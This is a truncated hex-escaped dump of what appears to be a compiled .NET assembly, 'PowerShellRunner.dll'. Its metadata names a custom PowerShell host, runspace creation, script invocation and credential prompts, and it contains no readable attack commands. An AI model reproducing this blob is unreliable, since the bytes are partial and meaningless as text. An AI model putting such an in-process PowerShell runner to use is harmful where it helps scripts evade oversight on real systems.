9\x01\x00\x00\xca\x05\xad\x01\x00\x00\x32\x00\xb2\x01\x00\x00\x79\x02\xb7\x01\x00\x00\x64\x02\xb7\x01\x00\x00\x0c\x0a\xa9\x01\x00\x00\x2f\x00\xbc\x01\x00\x00\xc2\x07\xc2\x01\x00\x00\x28\x04\xc7\x01\x00\x00\x77\x06\xcd\x01\x00\x00\x52\x04\xd3\x01\x00\x00\x89\x07\xc2\x01\x00\x00\x7c\x01\xd7\x01\x00\x00\x8b\x04\xc7\x01\x00\x00\xbc\x04\xc7\x01\x00\x00\xad\x06\xcd\x01\x00\x00\xce\x04\xc7\x01\x00\x00\xbd\x01\xa9\x01\x02\x00\x03\x00\x03\x00\x02\x00\x04\x00\x05\x00\x02\x00\x05\x00\x07\x00\x02\x00\x06\x00\x09\x00\x02\x00\x07\x00\x0b\x00\x02\x00\x08\x00\x0d\x00\x02\x00\x1a\x00\x0f\x00\x02\x00\x1f\x00\x11\x00\x02\x00\x22\x00\x13\x00\x01\x00\x23\x00\x13\x00\x02\x00\x24\x00\x15\x00\x01\x00\x25\x00\x15\x00\x02\x00\x26\x00\x17\x00\x01\x00\x27\x00\x17\x00\x02\x00\x28\x00\x19\x00\x01\x00\x29\x00\x19\x00\x02\x00\x2b\x00\x1b\x00\x01\x00\x2c\x00\x1b\x00\x02\x00\x2e\x00\x1d\x00\x02\x00\x2f\x00\x1f\x00\x02\x00\x30\x00\x21\x00\x02\x00\x35\x00\x23\x00\x01\x00\x36\x00\x23\x00\x02\x00\x37\x00\x25\x00\x01\x00\x38\x00\x25\x00\x02\x00\x39\x00\x27\x00\x01\x00\x3a\x00\x27\x00\x45\x00\x04\x80\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x07\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9a\x00\x4a\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa3\x00\xfe\x05\x00\x00\x00\x00\x03\x00\x02\x00\x04\x00\x02\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x60\x31\x00\x44\x69\x63\x74\x69\x6f\x6e\x61\x72\x79\x60\x32\x00\x3c\x4d\x6f\x64\x75\x6c\x65\x3e\x00\x67\x65\x74\x5f\x55\x49\x00\x67\x65\x74\x5f\x52\x61\x77\x55\x49\x00\x49\x6e\x76\x6f\x6b\x65\x50\x53\x00\x73\x65\x74\x5f\x58\x00\x73\x65\x74\x5f\x59\x00\x6d\x73\x63\x6f\x72\x6c\x69\x62\x00\x5f\x73\x62\x00\x53\x79\x73\x74\x65\x6d\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x47\x65\x6e\x65\x72\x69\x63\x00\x67\x65\x74\x5f\x49\x6e\x73\x74\x61\x6e\x63\x65\x49\x64\x00\x73\x6f\x75\x72\x63\x65\x49\x64\x00\x5f\x68\x6f\x73\x74\x49\x64\x00\x67\x65\x74\x5f\x43\x75\x72\x72\x65\x6e\x74\x54\x68\x72\x65\x61\x64\x00\x41\x64\x64\x00\x4e\x65\x77\x47\x75\x69\x64\x00\x43\x6f\x6d\x6d\x61\x6e\x64\x00\x63\x6f\x6d\x6d\x61\x6e\x64\x00\x41\x70\x70\x65\x6e\x64\x00\x50\x72\x6f\x67\x72\x65\x73\x73\x52\x65\x63\x6f\x72\x64\x00\x72\x65\x63\x6f\x72\x64\x00\x43\x75\x73\x74\x6f\x6d\x50\x53\x48\x6f\x73\x74\x55\x73\x65\x72\x49\x6e\x74\x65\x72\x66\x61\x63\x65\x00\x43\x75\x73\x74\x6f\x6d\x50\x53\x52\x48\x6f\x73\x74\x52\x61\x77\x55\x73\x65\x72\x49\x6e\x74\x65\x72\x66\x61\x63\x65\x00\x50\x53\x48\x6f\x73\x74\x52\x61\x77\x55\x73\x65\x72\x49\x6e\x74\x65\x72\x66\x61\x63\x65\x00\x43\x72\x65\x61\x74\x65\x52\x75\x6e\x73\x70\x61\x63\x65\x00\x50\x72\x6f\x6d\x70\x74\x46\x6f\x72\x43\x68\x6f\x69\x63\x65\x00\x64\x65\x66\x61\x75\x6c\x74\x43\x68\x6f\x69\x63\x65\x00\x73\x6f\x75\x72\x63\x65\x00\x65\x78\x69\x74\x43\x6f\x64\x65\x00\x6d\x65\x73\x73\x61\x67\x65\x00\x49\x6e\x76\x6f\x6b\x65\x00\x67\x65\x74\x5f\x4b\x65\x79\x41\x76\x61\x69\x6c\x61\x62\x6c\x65\x00\x49\x44\x69\x73\x70\x6f\x73\x61\x62\x6c\x65\x00\x52\x65\x63\x74\x61\x6e\x67\x6c\x65\x00\x72\x65\x63\x74\x61\x6e\x67\x6c\x65\x00\x67\x65\x74\x5f\x57\x69\x6e\x64\x6f\x77\x54\x69\x74\x6c\x65\x00\x73\x65\x74\x5f\x57\x69\x6e\x64\x6f\x77\x54\x69\x74\x6c\x65\x00\x5f\x77\x69\x6e\x64\x6f\x77\x54\x69\x74\x6c\x65\x00\x67\x65\x74\x5f\x4e\x61\x6d\x65\x00\x75\x73\x65\x72\x4e\x61\x6d\x65\x00\x74\x61\x72\x67\x65\x74\x4e\x61\x6d\x65\x00\x52\x65\x61\x64\x4c\x69\x6e\x65\x00\x41\x70\x70\x65\x6e\x64\x4c\x69\x6e\x65\x00\x57\x72\x69\x74\x65\x56\x65\x72\x62\x6f\x73\x65\x4c\x69\x6e\x65\x00\x57\x72\x69\x74\x65\x4c\x69\x6e\x65\x00\x57\x72\x69\x74\x65\x57\x61\x72\x6e\x69\x6e\x67\x4c\x69\x6e\x65\x00\x57\x72\x69\x74\x65\x44\x65\x62\x75\x67\x4c\x69\x6e\x65\x00\x57\x72\x69\x74\x65\x45\x72\x72\x6f\x72\x4c\x69\x6e\x65\x00\x43\x72\x65\x61\x74\x65\x50\x69\x70\x65\x6c\x69\x6e\x65\x00\x67\x65\x74\x5f\x43\x75\x72\x72\x65\x6e\x74\x55\x49\x43\x75\x6c\x74\x75\x72\x65\x00\x67\x65\x74\x5f\x43\x75\x72\x72\x65\x6e\x74\x43\x75\x6c\x74\x75\x72\x65\x00\x44\x69\x73\x70\x6f\x73\x65\x00\x49\x6e\x69\x74\x69\x61\x6c\x53\x65\x73\x73\x69\x6f\x6e\x53\x74\x61\x74\x65\x00\x57\x72\x69\x74\x65\x00\x47\x75\x69\x64\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x44\x65\x62\x75\x67\x67\x61\x62\x6c\x65\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x43\x6f\x6d\x56\x69\x73\x69\x62\x6c\x65\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x54\x69\x74\x6c\x65\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x54\x72\x61\x64\x65\x6d\x61\x72\x6b\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x54\x61\x72\x67\x65\x74\x46\x72\x61\x6d\x65\x77\x6f\x72\x6b\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x46\x69\x6c\x65\x56\x65\x72\x73\x69\x6f\x6e\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x43\x6f\x6d\x70\x69\x6c\x61\x74\x69\x6f\x6e\x52\x65\x6c\x61\x78\x61\x74\x69\x6f\x6e\x73\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x50\x72\x6f\x64\x75\x63\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x43\x6f\x6d\x70\x61\x6e\x79\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x52\x75\x6e\x74\x69\x6d\x65\x43\x6f\x6d\x70\x61\x74\x69\x62\x69\x6c\x69\x74\x79\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x76\x61\x6c\x75\x65\x00\x67\x65\x74\x5f\x42\x75\x66\x66\x65\x72\x53\x69\x7a\x65\x00\x73\x65\x74\x5f\x42\x75\x66\x66\x65\x72\x53\x69\x7a\x65\x00\x5f\x62\x75\x66\x66\x65\x72\x53\x69\x7a\x65\x00\x67\x65\x74\x5f\x43\x75\x72\x73\x6f\x72\x53\x69\x7a\x65\x00\x73\x65\x74\x5f\x43\x75\x72\x73\x6f\x72\x53\x69\x7a\x65\x00\x5f\x63\x75\x72\x73\x6f\x72\x53\x69\x7a\x65\x00\x67\x65\x74\x5f\x57\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x73\x65\x74\x5f\x57\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x67\x65\x74\x5f\x4d\x61\x78\x50\x68\x79\x73\x69\x63\x61\x6c\x57\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x5f\x6d\x61\x78\x50\x68\x79\x73\x69\x63\x61\x6c\x57\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x67\x65\x74\x5f\x4d\x61\x78\x57\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x5f\x6d\x61\x78\x57\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x5f\x77\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x53\x79\x73\x74\x65\x6d\x2e\x54\x68\x72\x65\x61\x64\x69\x6e\x67\x00\x53\x79\x73\x74\x65\x6d\x2e\x52\x75\x6e\x74\x69\x6d\x65\x2e\x56\x65\x72\x73\x69\x6f\x6e\x69\x6e\x67\x00\x52\x65\x61\x64\x4c\x69\x6e\x65\x41\x73\x53\x65\x63\x75\x72\x65\x53\x74\x72\x69\x6e\x67\x00\x54\x6f\x53\x74\x72\x69\x6e\x67\x00\x73\x65\x74\x5f\x57\x69\x64\x74\x68\x00\x5f\x72\x61\x77\x55\x69\x00\x5f\x75\x69\x00\x50\x53\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x00\x50\x72\x6f\x6d\x70\x74\x46\x6f\x72\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x00\x53\x79\x73\x74\x65\x6d\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x4f\x62\x6a\x65\x63\x74\x4d\x6f\x64\x65\x6c\x00\x50\x6f\x77\x65\x72\x53\x68\x65\x6c\x6c\x52\x75\x6e\x6e\x65\x72\x2e\x64\x6c\x6c\x00\x42\x75\x66\x66\x65\x72\x43\x65\x6c\x6c\x00\x66\x69\x6c\x6c\x00\x67\x65\x74\x5f\x49\x74\x65\x6d\x00\x53\x79\x73\x74\x65\x6d\x00\x4f\x70\x65\x6e\x00\x6f\x72\x69\x67\x69\x6e\x00\x67\x65\x74\x5f\x56\x65\x72\x73\x69\x6f\x6e\x00\x4e\x6f\x74\x69\x66\x79\x45\x6e\x64\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x00\x4e\x6f\x74\x69\x66\x79\x42\x65\x67\x69\x6e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x00\x53\x79\x73\x74\x65\x6d\x2e\x4d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x41\x75\x74\x6f\x6d\x61\x74\x69\x6f\x6e\x00\x64\x65\x73\x74\x69\x6e\x61\x74\x69\x6f\x6e\x00\x53\x79\x73\x74\x65\x6d\x2e\x47\x6c\x6f\x62\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x00\x53\x79\x73\x74\x65\x6d\x2e\x52\x65\x66\x6c\x65\x63\x74\x69\x6f\x6e\x00\x43\x6f\x6d\x6d\x61\x6e\x64\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x00\x67\x65\x74\x5f\x43\x75\x72\x73\x6f\x72\x50\x6f\x73\x69\x74\x69\x6f\x6e\x00\x73\x65\x74\x5f\x43\x75\x72\x73\x6f\x72\x50\x6f\x73\x69\x74\x69\x6f\x6e\x00\x5f\x63\x75\x72\x73\x6f\x72\x50\x6f\x73\x69\x74\x69\x6f\x6e\x00\x67\x65\x74\x5f\x57\x69\x6e\x64\x6f\x77\x50\x6f\x73\x69\x74\x69\x6f\x6e\x00\x73\x65\x74\x5f\x57\x69\x6e\x64\x6f\x77\x50\x6f\x73\x69\x74\x69\x6f\x6e\x00\x5f\x77\x69\x6e\x64\x6f\x77\x50\x6f\x73\x69\x74\x69\x6f\x6e\x00\x63\x61\x70\x74\x69\x6f\x6e\x00\x4e\x6f\x74\x49\x6d\x70\x6c\x65\x6d\x65\x6e\x74\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x00\x46\x69\x65\x6c\x64\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x00\x43\x68\x6f\x69\x63\x65\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x00\x43\x75\x6c\x74\x75\x72\x65\x49\x6e\x66\x6f\x00\x4b\x65\x79\x49\x6e\x66\x6f\x00\x63\x6c\x69\x70\x00\x53\x74\x72\x69\x6e\x67\x42\x75\x69\x6c\x64\x65\x72\x00\x46\x6c\x75\x73\x68\x49\x6e\x70\x75\x74\x42\x75\x66\x66\x65\x72\x00\x73\x65\x74\x5f\x41\x75\x74\x68\x6f\x72\x69\x7a\x61\x74\x69\x6f\x6e\x4d\x61\x6e\x61\x67\x65\x72\x00\x50\x6f\x77\x65\x72\x53\x68\x65\x6c\x6c\x52\x75\x6e\x6e\x65\x72\x00\x67\x65\x74\x5f\x46\x6f\x72\x65\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72\x00\x73\x65\x74\x5f\x46\x6f\x72\x65\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72\x00\x5f\x66\x6f\x72\x65\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72\x00\x67\x65\x74\x5f\x42\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72\x00\x73\x65\x74\x5f\x42\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72\x00\x5f\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72\x00\x43\x6f\x6e\x73\x6f\x6c\x65\x43\x6f\x6c\x6f\x72\x00\x2e\x63\x74\x6f\x72\x00\x53\x79\x73\x74\x65\x6d\x2e\x44\x69\x61\x67\x6e\x6f\x73\x74\x69\x63\x73\x00\x67\x65\x74\x5f\x43\x6f\x6d\x6d\x61\x6e\x64\x73\x00\x53\x79\x73\x74\x65\x6d\x2e\x4d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x41\x75\x74\x6f\x6d\x61\x74\x69\x6f\x6e\x2e\x52\x75\x6e\x73\x70\x61\x63\x65\x73\x00\x63\x68\x6f\x69\x63\x65\x73\x00\x53\x79\x73\x74\x65\x6d\x2e\x52\x75\x6e\x74\x69\x6d\x65\x2e\x49\x6e\x74\x65\x72\x6f\x70\x53\x65\x72\x76\x69\x63\x65\x73\x00\x53\x79\x73\x74\x65\x6d\x2e\x52\x75\x6e\x74\x69\x6d\x65\x2e\x43\x6f\x6d\x70\x69\x6c\x65\x72\x53\x65\x72\x76\x69\x63\x65\x73\x00\x44\x65\x62\x75\x67\x67\x69\x6e\x67\x4d\x6f\x64\x65\x73\x00\x50\x53\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x54\x79\x70\x65\x73\x00\x61\x6c\x6c\x6f\x77\x65\x64\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x54\x79\x70\x65\x73\x00\x50\x69\x70\x65\x6c\x69\x6e\x65\x52\x65\x73\x75\x6c\x74\x54\x79\x70\x65\x73\x00\x43\x6f\x6f\x72\x64\x69\x6e\x61\x74\x65\x73\x00\x50\x53\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x55\x49\x4f\x70\x74\x69\x6f\x6e\x73\x00\x52\x65\x61\x64\x4b\x65\x79\x4f\x70\x74\x69\x6f\x6e\x73\x00\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x73\x00\x6f\x70\x74\x69\x6f\x6e\x73\x00\x57\x72\x69\x74\x65\x50\x72\x6f\x67\x72\x65\x73\x73\x00\x4d\x65\x72\x67\x65\x4d\x79\x52\x65\x73\x75\x6c\x74\x73\x00\x53\x63\x72\x6f\x6c\x6c\x42\x75\x66\x66\x65\x72\x43\x6f\x6e\x74\x65\x6e\x74\x73\x00\x47\x65\x74\x42\x75\x66\x66\x65\x72\x43\x6f\x6e\x74\x65\x6e\x74\x73\x00\x53\x65\x74\x42\x75\x66\x66\x65\x72\x43\x6f\x6e\x74\x65\x6e\x74\x73\x00\x63\x6f\x6e\x74\x65\x6e\x74\x73\x00\x43\x6f\x6e\x63\x61\x74\x00\x50\x53\x4f\x62\x6a\x65\x63\x74\x00\x73\x65\x74\x5f\x48\x65\x69\x67\x68\x74\x00\x53\x65\x74\x53\x68\x6f\x75\x6c\x64\x45\x78\x69\x74\x00\x43\x72\x65\x61\x74\x65\x44\x65\x66\x61\x75\x6c\x74\x00\x41\x64\x64\x53\x63\x72\x69\x70\x74\x00\x45\x6e\x74\x65\x72\x4e\x65\x73\x74\x65\x64\x50\x72\x6f\x6d\x70\x74\x00\x45\x78\x69\x74\x4e\x65\x73\x74\x65\x64\x50\x72\x6f\x6d\x70\x74\x00\x53\x79\x73\x74\x65\x6d\x2e\x4d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x41\x75\x74\x6f\x6d\x61\x74\x69\x6f\x6e\x2e\x48\x6f\x73\x74\x00\x43\x75\x73\x74\x6f\x6d\x50\x53\x48\x6f\x73\x74\x00\x67\x65\x74\x5f\x4f\x75\x74\x70\x75\x74\x00\x53\x79\x73\x74\x65\x6d\x2e\x54\x65\x78\x74\x00\x52\x65\x61\x64\x4b\x65\x79\x00\x52\x75\x6e\x73\x70\x61\x63\x65\x46\x61\x63\x74\x6f\x72\x79\x00\x53\x79\x73\x74\x65\x6d\x2e\x53\x65\x63\x75\x72\x69\x74\x79\x00\x00\x00\x17\x6f\x00\x75\x00\x74\x00\x2d\x00\x64\x00\x65\x00\x66\x00\x61\x00\x75\x00\x6c\x00\x74\x00\x01\x17\x43\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x48\x00\x6f\x00\x73\x00\x74\x00\x00\x81\x77\x45\x00\x6e\x00\x74\x00\x65\x00\x72\x00\x4e\x00\x65\x00\x73\x00\x74\x00\x65\x00\x64\x00\x50\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x81\x75\x45\x00\x78\x00\x69\x00\x74\x00\x4e\x00\x65\x00\x73\x00\x74\x00\x65\x00\x64\x00\x50\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x03\x0a\x00\x00\x0f\x44\x00\x45\x00\x42\x00\x55\x00\x47\x00\x3a\x00\x20\x00\x00\x0f\x45\x00\x52\x00\x52\x00\x4f\x00\x52\x00\x3a\x00\x20\x00\x00\x13\x56\x00\x45\x00\x52\x00\x42\x00\x4f\x00\x53\x00\x45\x00\x3a\x00\x20\x00\x00\x13\x57\x00\x41\x00\x52\x00\x4e\x00\x49\x00\x4e\x00\x47\x00\x3a\x00\x20\x00\x00\x81\x61\x50\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x81\x73\x50\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x46\x00\x6f\x00\x72\x00\x43\x00\x68\x00\x6f\x00\x69\x00\x63\x00\x65\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x81\x7d\x50\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x46\x00\x6f\x00\x72\x00\x43\x00\x72\x00\x65\x00\x64\x00\x65\x00\x6e\x00\x74\x00\x69\x00\x61\x00\x6c\x00\x31\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x